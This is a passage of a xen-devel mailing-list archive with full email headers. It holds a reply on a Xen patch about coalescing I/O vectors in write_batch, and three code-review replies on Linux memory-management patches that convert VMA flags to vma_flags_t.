         RCcbGokdv+0GvVGC3L4/l4TCu1u6i3nwRnDGRGqkxVv0ld3yh9c6N9Uev3WLMUhYD8Y6
         MCrQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782995596; x=1783600396;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=+WSGWfYa7gMrkFqASJhZI8VjZ8XuFjtdt/nRUpEHU4w=;
        b=XfvLS45axmqC6V8ljgtXba5iLyiw0d4N1BPeNONwRNhJeX2ZCsYOR+2SxNufqMJ/I8
         LkZqI//xzsBkIEABIW9VQaEM2b+s8Bps80RQlFBQDxRpRu96FkUVQ13tQDYBfIsQLZMB
         /n+mYxx+IruFANUKXWl25u8bwbNiJi2GtlkVrbp+hwfMFNyJ5LSNL8eq/VQdxLbRicCk
         uwtPV5xqsyaIorCjWVQ2M7JwqOKvXdRiNHNCC6B5yrvXUBXrE9zR83qDVV8vBTE6sjGJ
         lH9sDrHfJn42QEzzrHy7Q0ZRHhu/T5ZIVuLI12rK3dnmwd61g6W3kjAJb2wfDDDXUEeK
         9y6w==
X-Gm-Message-State: AOJu0YyHFJKNF5zV4L7h4JWLwUIVAoDVguyXeyk1GZfHM5EDQI3AZ7g+
	EwFeUDTu0EYyUxA7R3vDm8Z7D2MwYIL5HUHpsn1wh0/+L+W2ziNLYgMtI5yGQNJvwhRCbtfTv2R
	2wTeYtd5GIrdEx8HL/1IbzUaWDQbKEI4=
X-Gm-Gg: AfdE7ckH2ejko7yoTHsD3Jti4YIGcrbhDtDhBgdn4kP9kuL7+en2dmpsZlZsEMGIBSC
	6BbJzWi6AA2w2lab74IQNmith9d5U07oGdg046ci3nO7Yu48rY+5IlLYVkUWgqUTxRkdWJDOj7S
	gsIoT0lTIY8ILVe0uq0zsRwCVcm32zkpzXaIc9vmySY9EbuP4XWmcaYZen9SvVC93m2GQJdESd8
	bmjjo+hlEu9aXyg94ChWny0UPO2kttsXgPLE3vahMZJMqmaA9azTGWuQVU9ErBePu4yUXo3yMVr
	zD5oZW86Zb/GM7O9Jowq5cM=
X-Received: by 2002:a05:690e:c4a:b0:664:ae6b:b49f with SMTP id
 956f58d0204a3-66521df7ecemr5780590d50.84.1782995596295; Thu, 02 Jul 2026
 05:33:16 -0700 (PDT)
MIME-Version: 1.0
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-4-frediano.ziglio@citrix.com> <73d8b955-8462-47ce-8913-d11303bf63c3@citrix.com>
In-Reply-To: <73d8b955-8462-47ce-8913-d11303bf63c3@citrix.com>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Thu, 2 Jul 2026 13:33:05 +0100
X-Gm-Features: AVVi8CfiNk8R3HWPdAWYqLYbbFbfGclL4KGvJwM6ZfR2wmiHZqxS3xp-wW99V30
Message-ID: <CAHt6W4cYmoRxgAs=hX6zcvhPA3j9Jeb+9X+Z+OAayB0owYNvHw@mail.gmail.com>
Subject: Re: [PATCH v6 03/16] libs/guest: Reduce number of I/O vectors in write_batch
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: xen-devel@lists.xenproject.org, 
	Frediano Ziglio <frediano.ziglio@citrix.com>, Jan Beulich <jbeulich@suse.com>, 
	=?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
	Teddy Astie <teddy.astie@vates.tech>, Anthony PERARD <anthony.perard@vates.tech>, 
	Juergen Gross <jgross@suse.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-d62444/1782995597-FECC61E0-9FB1387F/0/0
X-purgate-type: clean
X-purgate-size: 1108

On Tue, 30 Jun 2026 at 17:47, Andrew Cooper <andrew.cooper3@citrix.com> wro=
te:
>
>
> This has the same exact subject as the prior patch.
>
> Either it wants merging, as they're both in the same function, or the
> subject wants to be different.  Even a "Further ..." prefix would help.
>
> On 19/06/2026 2:04 pm, Frediano Ziglio wrote:
> > Each page was sent using a different iovec item. This potentially excee=
d
> > Linux maximum (1024).
>
> Linux cannot have a maximum of 1024 because this has been working fine
> for a decade using 1028 in the common case.
>

But the code does not call writev or similars directly, so there's no
limit besides the sky.
The result with 1028 is simply that you do 2 system calls instead of one.

> > Coalesce adjacent IO vector elements to attempt to reduce the number of
> > overall IO vectors for each operation.
> > Also some implementation (MiniOS) emulate writev with multiple write ca=
lls.
> >
> > Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
> > Reviewed-by: Roger Pau Monn=C3=A9 <roger.pau@citrix.com>
>

Frediano


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 12:39:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 12:39:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351830.1608869 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfGhq-00016q-6m; Thu, 02 Jul 2026 12:39:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351830.1608869; Thu, 02 Jul 2026 12:39:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfGhq-00016j-3Z; Thu, 02 Jul 2026 12:39:50 +0000
Received: by outflank-mailman (input) for mailman id 1351830;
 Thu, 02 Jul 2026 12:39:48 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lance.yang@linux.dev>) id 1wfGho-00016d-G6
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 12:39:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfGhn-00Ed1n-PD
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 14:39:47 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a465c0e-5cb7-0a2a0a5109dd-0a2a45019d10-26
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 14:39:47 +0200
Received: from [95.215.58.172] (helo=out-172.mta1.migadu.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a465c13-400f-0a2a45010019-5fd73aacfb8b-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 14:39:47 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=key1 header.d=linux.dev header.i="@linux.dev" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
X-Report-Abuse: Please report any abuse attempt to abuse@migadu.com and include these headers.
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux.dev; s=key1;
	t=1782995985;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=MSqvG6QTDeOE5qt8LI9tLb3iySB/2eramUM4HlZdPG8=;
	b=F10EZD2MKuMsgIZGg+Kv4CpsFBAqfutqUSZV+CnlSj4mTRO6SM+hx7IFnwTXi02n4W5ksq
	B3eV7EruPZaVg8GiZqN77RrtZjvlyRAPzkka+Z5kYwT5shcZ0occtt6vxWz8dsjkDZRJwI
	jZvjN/4FCRiAB3/YW0BqvRoNYnrlgRU=
From: Lance Yang <lance.yang@linux.dev>
To: ljs@kernel.org
Cc: akpm@linux-foundation.org,
	tsbogend@alpha.franken.de,
	maddy@linux.ibm.com,
	mpe@ellerman.id.au,
	maarten.lankhorst@linux.intel.com,
	mripard@kernel.org,
	tzimmermann@suse.de,
	airlied@gmail.com,
	simona@ffwll.ch,
	l.stach@pengutronix.de,
	inki.dae@samsung.com,
	sw0312.kim@samsung.com,
	kyungmin.park@samsung.com,
	krzk@kernel.org,
	peter.griffin@linaro.org,
	jani.nikula@linux.intel.com,
	joonas.lahtinen@linux.intel.com,
	rodrigo.vivi@intel.com,
	tursulin@ursulin.net,
	robin.clark@oss.qualcomm.com,
	lumag@kernel.org,
	lyude@redhat.com,
	dakr@kernel.org,
	tomi.valkeinen@ideasonboard.com,
	hjc@rock-chips.com,
	heiko@sntech.de,
	andy.yan@rock-chips.com,
	thierry.reding@kernel.org,
	mperttunen@nvidia.com,
	jonathanh@nvidia.com,
	kraxel@redhat.com,
	dmitry.osipenko@collabora.com,
	zack.rusin@broadcom.com,
	matthew.brost@intel.com,
	thomas.hellstrom@linux.intel.com,
	oleksandr_andrushchenko@epam.com,
	deller@gmx.de,
	bcrl@kvack.org,
	viro@zeniv.linux.org.uk,
	brauner@kernel.org,
	muchun.song@linux.dev,
	osalvador@suse.de,
	david@kernel.org,
	ziy@nvidia.com,
	baolin.wang@linux.alibaba.com,
	liam@infradead.org,
	npache@redhat.com,
	ryan.roberts@arm.com,
	dev.jain@arm.com,
	baohua@kernel.org,
	lance.yang@linux.dev,
	hughd@google.com,
	vbabka@kernel.org,
	rppt@kernel.org,
	surenb@google.com,
	mhocko@suse.com,
	jannh@google.com,
	pfalcato@suse.de,
	kees@kernel.org,
	perex@perex.cz,
	tiwai@suse.com,
	linux-mips@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	dri-devel@lists.freedesktop.org,
	etnaviv@lists.freedesktop.org,
	linux-arm-kernel@lists.infradead.org,
	linux-samsung-soc@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	linux-arm-msm@vger.kernel.org,
	freedreno@lists.freedesktop.org,
	nouveau@lists.freedesktop.org,
	linux-rockchip@lists.infradead.org,
	linux-tegra@vger.kernel.org,
	virtualization@lists.linux.dev,
	intel-xe@lists.freedesktop.org,
	xen-devel@lists.xenproject.org,
	linux-fbdev@vger.kernel.org,
	linux-aio@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-mm@kvack.org,
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 08/13] mm: introduce vma_get_page_prot() and use it
Date: Thu,  2 Jul 2026 20:38:45 +0800
Message-Id: <20260702123845.95316-1-lance.yang@linux.dev>
In-Reply-To: <3bb8bdc4788230c33102166d56cbc5abfad9d4cb.1782760670.git.ljs@kernel.org>
References: <3bb8bdc4788230c33102166d56cbc5abfad9d4cb.1782760670.git.ljs@kernel.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Migadu-Flow: FLOW_OUT
X-purgate-ID: tlsNG-d62444/1782995987-82CC61E0-273DAF2E/0/0
X-purgate-type: clean
X-purgate-size: 1633


On Mon, Jun 29, 2026 at 08:25:31PM +0100, Lorenzo Stoakes wrote:
>There's a large number of vm_get_page_prot(vma->vm_flags) invocations. Make
>life easier by introducing vma_get_page_prot() parameterised by the VMA.
>
>This also makes converting vm_get_page_prot() to vma_flags_t easier.
>
>Also update the userland VMA tests to reflect the change.
>
>No functional change intended.
>
>Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
>---
> drivers/gpu/drm/drm_gem.c                   |  2 +-
> drivers/gpu/drm/drm_gem_dma_helper.c        |  2 +-
> drivers/gpu/drm/drm_gem_shmem_helper.c      |  2 +-
> drivers/gpu/drm/etnaviv/etnaviv_gem.c       |  2 +-
> drivers/gpu/drm/exynos/exynos_drm_gem.c     |  6 +++---
> drivers/gpu/drm/i915/gem/i915_gem_mman.c    | 12 ++++++------
> drivers/gpu/drm/msm/msm_gem.c               |  2 +-
> drivers/gpu/drm/nouveau/nouveau_gem.c       |  2 +-
> drivers/gpu/drm/omapdrm/omap_fbdev.c        |  2 +-
> drivers/gpu/drm/omapdrm/omap_gem.c          |  6 +++---
> drivers/gpu/drm/rockchip/rockchip_drm_gem.c |  2 +-
> drivers/gpu/drm/tegra/gem.c                 |  2 +-
> drivers/gpu/drm/virtio/virtgpu_vram.c       |  2 +-
> drivers/gpu/drm/vmwgfx/vmwgfx_page_dirty.c  |  2 +-
> drivers/gpu/drm/xe/xe_device.c              |  2 +-
> drivers/gpu/drm/xe/xe_mmio_gem.c            |  2 +-
> drivers/gpu/drm/xen/xen_drm_front_gem.c     |  2 +-
> drivers/video/fbdev/core/fb_io_fops.c       |  2 +-

One missed?

drivers/gpu/drm/panthor/panthor_gem.c still has:

	vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);

Can use vma_get_page_prot(vma) too.

[...]


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 12:51:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 12:51:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351846.1608878 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfGt3-0003y0-4i; Thu, 02 Jul 2026 12:51:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351846.1608878; Thu, 02 Jul 2026 12:51:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfGt3-0003xt-1m; Thu, 02 Jul 2026 12:51:25 +0000
Received: by outflank-mailman (input) for mailman id 1351846;
 Thu, 02 Jul 2026 12:51:23 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lance.yang@linux.dev>) id 1wfGt0-0003xU-8N
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 12:51:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfGsy-007X31-36
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 14:51:21 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a465ec2-e002-0a2a0a5209dd-0a2a45079942-14
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 14:51:19 +0200
Received: from [95.215.58.179] (helo=out-179.mta1.migadu.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a465ec5-9c8e-0a2a45070019-5fd73ab35c1e-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 14:51:17 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=key1 header.d=linux.dev header.i="@linux.dev" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
X-Report-Abuse: Please report any abuse attempt to abuse@migadu.com and include these headers.
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux.dev; s=key1;
	t=1782996675;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=KCmq1hZLLl7GOyWtL6cRPjjbHfWJ5jvpchLdwXolxL8=;
	b=F4ZVf9BvB+hLAf9gQChbe4sRNb4sLCrUWRBNFM0pPt8IAzUbVhXxDEH/DvD8axflIDk2vm
	3zmwuSmbnQ/BvpRKYzyKP8V+Wt7x4/jYspjeo/Nuwy87WFjjbKm5Us6Gqkc64N1S5Bi0bl
	Qu3WpSOCEMC/DqM+tZU+hrTjGqJDt6Q=
From: Lance Yang <lance.yang@linux.dev>
To: ljs@kernel.org
Cc: akpm@linux-foundation.org,
	tsbogend@alpha.franken.de,
	maddy@linux.ibm.com,
	mpe@ellerman.id.au,
	maarten.lankhorst@linux.intel.com,
	mripard@kernel.org,
	tzimmermann@suse.de,
	airlied@gmail.com,
	simona@ffwll.ch,
	l.stach@pengutronix.de,
	inki.dae@samsung.com,
	sw0312.kim@samsung.com,
	kyungmin.park@samsung.com,
	krzk@kernel.org,
	peter.griffin@linaro.org,
	jani.nikula@linux.intel.com,
	joonas.lahtinen@linux.intel.com,
	rodrigo.vivi@intel.com,
	tursulin@ursulin.net,
	robin.clark@oss.qualcomm.com,
	lumag@kernel.org,
	lyude@redhat.com,
	dakr@kernel.org,
	tomi.valkeinen@ideasonboard.com,
	hjc@rock-chips.com,
	heiko@sntech.de,
	andy.yan@rock-chips.com,
	thierry.reding@kernel.org,
	mperttunen@nvidia.com,
	jonathanh@nvidia.com,
	kraxel@redhat.com,
	dmitry.osipenko@collabora.com,
	zack.rusin@broadcom.com,
	matthew.brost@intel.com,
	thomas.hellstrom@linux.intel.com,
	oleksandr_andrushchenko@epam.com,
	deller@gmx.de,
	bcrl@kvack.org,
	viro@zeniv.linux.org.uk,
	brauner@kernel.org,
	muchun.song@linux.dev,
	osalvador@suse.de,
	david@kernel.org,
	ziy@nvidia.com,
	baolin.wang@linux.alibaba.com,
	liam@infradead.org,
	npache@redhat.com,
	ryan.roberts@arm.com,
	dev.jain@arm.com,
	baohua@kernel.org,
	lance.yang@linux.dev,
	hughd@google.com,
	vbabka@kernel.org,
	rppt@kernel.org,
	surenb@google.com,
	mhocko@suse.com,
	jannh@google.com,
	pfalcato@suse.de,
	kees@kernel.org,
	perex@perex.cz,
	tiwai@suse.com,
	linux-mips@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	dri-devel@lists.freedesktop.org,
	etnaviv@lists.freedesktop.org,
	linux-arm-kernel@lists.infradead.org,
	linux-samsung-soc@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	linux-arm-msm@vger.kernel.org,
	freedreno@lists.freedesktop.org,
	nouveau@lists.freedesktop.org,
	linux-rockchip@lists.infradead.org,
	linux-tegra@vger.kernel.org,
	virtualization@lists.linux.dev,
	intel-xe@lists.freedesktop.org,
	xen-devel@lists.xenproject.org,
	linux-fbdev@vger.kernel.org,
	linux-aio@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-mm@kvack.org,
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 09/13] mm/vma: update create_init_stack_vma() to use vma_flags_t
Date: Thu,  2 Jul 2026 20:50:52 +0800
Message-Id: <20260702125052.19248-1-lance.yang@linux.dev>
In-Reply-To: <34689784ee6856f100c02ad4eabeaa4db643713a.1782760670.git.ljs@kernel.org>
References: <34689784ee6856f100c02ad4eabeaa4db643713a.1782760670.git.ljs@kernel.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Migadu-Flow: FLOW_OUT
X-purgate-ID: tlsNG-ef75cf/1782996679-7E32725E-8D5CFD8E/0/0
X-purgate-type: clean
X-purgate-size: 518


On Mon, Jun 29, 2026 at 08:25:32PM +0100, Lorenzo Stoakes wrote:
>Replace use of the legacy vm_flags_t flags with vma_flags_t values in
>create_init_stack_vma().
>
>As part of this change we add VMA_STACK_EARLY and VMA_STACK_INCOMPLETE
>vma_flags_t defines, and slightly rework create_init_stack_vma() for
>clarity.
>
>No functional change intended.
>
>Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
>---

Nothing looks off to me ;) Feel free to add:

Reviewed-by: Lance Yang <lance.yang@linux.dev>


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 13:13:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 13:13:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351871.1608888 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfHE8-0007xG-My; Thu, 02 Jul 2026 13:13:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351871.1608888; Thu, 02 Jul 2026 13:13:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfHE8-0007x9-K5; Thu, 02 Jul 2026 13:13:12 +0000
Received: by outflank-mailman (input) for mailman id 1351871;
 Thu, 02 Jul 2026 13:13:11 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lance.yang@linux.dev>) id 1wfHE6-0007x3-NA
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 13:13:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfHE5-006pFj-84
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 15:13:10 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a4663e2-bab6-0a2a0a5309dd-0a2a45018f08-12
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 15:13:08 +0200
Received: from [91.218.175.179] (helo=out-179.mta0.migadu.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a4663e3-400f-0a2a45010019-5bdaafb3e00f-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 15:13:07 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=key1 header.d=linux.dev header.i="@linux.dev" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
X-Report-Abuse: Please report any abuse attempt to abuse@migadu.com and include these headers.
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux.dev; s=key1;
	t=1782997985;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=3WkYIESER5H1pxokBfEp6m9xEZZ5ghGe4TjZZy4BO5I=;
	b=jHDhEc6CTiPftGqyHzVdl3xS/wEnOHSN4PeeVFnRX9fUml//8WA53GAPbsxSbJvWuzc/sf
	tH1rSEqcTxDFS7qyJ0iIaX/a6tA48FPP/mFE4c/byOkvPcPlvJwYSUFubJkz9Jxs6S5ya/
	AItLuFoisprFM8kvEpkf04Kk84Cg/T0=
From: Lance Yang <lance.yang@linux.dev>
To: ljs@kernel.org
Cc: akpm@linux-foundation.org,
	tsbogend@alpha.franken.de,
	maddy@linux.ibm.com,
	mpe@ellerman.id.au,
	maarten.lankhorst@linux.intel.com,
	mripard@kernel.org,
	tzimmermann@suse.de,
	airlied@gmail.com,
	simona@ffwll.ch,
	l.stach@pengutronix.de,
	inki.dae@samsung.com,
	sw0312.kim@samsung.com,
	kyungmin.park@samsung.com,
	krzk@kernel.org,
	peter.griffin@linaro.org,
	jani.nikula@linux.intel.com,
	joonas.lahtinen@linux.intel.com,
	rodrigo.vivi@intel.com,
	tursulin@ursulin.net,
	robin.clark@oss.qualcomm.com,
	lumag@kernel.org,
	lyude@redhat.com,
	dakr@kernel.org,
	tomi.valkeinen@ideasonboard.com,
	hjc@rock-chips.com,
	heiko@sntech.de,
	andy.yan@rock-chips.com,
	thierry.reding@kernel.org,
	mperttunen@nvidia.com,
	jonathanh@nvidia.com,
	kraxel@redhat.com,
	dmitry.osipenko@collabora.com,
	zack.rusin@broadcom.com,
	matthew.brost@intel.com,
	thomas.hellstrom@linux.intel.com,
	oleksandr_andrushchenko@epam.com,
	deller@gmx.de,
	bcrl@kvack.org,
	viro@zeniv.linux.org.uk,
	brauner@kernel.org,
	muchun.song@linux.dev,
	osalvador@suse.de,
	david@kernel.org,
	ziy@nvidia.com,
	baolin.wang@linux.alibaba.com,
	liam@infradead.org,
	npache@redhat.com,
	ryan.roberts@arm.com,
	dev.jain@arm.com,
	baohua@kernel.org,
	lance.yang@linux.dev,
	hughd@google.com,
	vbabka@kernel.org,
	rppt@kernel.org,
	surenb@google.com,
	mhocko@suse.com,
	jannh@google.com,
	pfalcato@suse.de,
	kees@kernel.org,
	perex@perex.cz,
	tiwai@suse.com,
	linux-mips@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	dri-devel@lists.freedesktop.org,
	etnaviv@lists.freedesktop.org,
	linux-arm-kernel@lists.infradead.org,
	linux-samsung-soc@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	linux-arm-msm@vger.kernel.org,
	freedreno@lists.freedesktop.org,
	nouveau@lists.freedesktop.org,
	linux-rockchip@lists.infradead.org,
	linux-tegra@vger.kernel.org,
	virtualization@lists.linux.dev,
	intel-xe@lists.freedesktop.org,
	xen-devel@lists.xenproject.org,
	linux-fbdev@vger.kernel.org,
	linux-aio@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-mm@kvack.org,
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 10/13] mm/vma: convert miscellaneous uses of VMA flags in core mm
Date: Thu,  2 Jul 2026 21:12:33 +0800
Message-Id: <20260702131233.59026-1-lance.yang@linux.dev>
In-Reply-To: <1e7d834c887b6a65627d730addcff13d458c6268.1782760670.git.ljs@kernel.org>
References: <1e7d834c887b6a65627d730addcff13d458c6268.1782760670.git.ljs@kernel.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Migadu-Flow: FLOW_OUT
X-purgate-ID: tlsNG-d62444/1782997988-838C81E0-A776CE22/0/0
X-purgate-type: clean
X-purgate-size: 1577


On Mon, Jun 29, 2026 at 08:25:33PM +0100, Lorenzo Stoakes wrote:
>Update various uses of legacy flags in vma.c and mmap.c to the new
>vma_flags_t type, updating comments alongside them to be consistent.
>
>Also update __install_special_mapping() to rearrange things slightly to
>accommodate the changes.
>
>Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
>---
[...]
>diff --git a/mm/vma.c b/mm/vma.c
>index b81c05e67a61..ab2ef0f04420 100644
>--- a/mm/vma.c
>+++ b/mm/vma.c
>@@ -3417,23 +3417,27 @@ struct vm_area_struct *__install_special_mapping(
> 	vm_flags_t vm_flags, void *priv,
> 	const struct vm_operations_struct *ops)
> {
>-	int ret;
>+	vma_flags_t vma_flags = legacy_to_vma_flags(vm_flags);
> 	struct vm_area_struct *vma;
>+	int ret;
> 
> 	vma = vm_area_alloc(mm);
>-	if (unlikely(vma == NULL))
>+	if (unlikely(!vma))
> 		return ERR_PTR(-ENOMEM);
> 
>-	vma_set_range(vma, addr, addr + len, 0);
>-	vm_flags |= vma_flags_to_legacy(mm->def_vma_flags) | VM_DONTEXPAND;
>+	vma_flags_set_mask(&vma_flags, mm->def_vma_flags);
>+	vma_flags_set(&vma_flags, VMA_DONTEXPAND_BIT);
> 	if (pgtable_supports_soft_dirty())
>-		vm_flags |= VM_SOFTDIRTY;
>-	vm_flags_init(vma, vm_flags & ~VM_LOCKED_MASK);
>+		vma_flags_set(&vma_flags, VMA_SOFTDIRTY_BIT);
>+	vma_flags_clear_mask(&vma_flags, VMA_LOCKED_MASK);
>+	vma->flags = vma_flags;

Maybe worth a vma_flags_init() helper here to mirror vm_flags_init()?
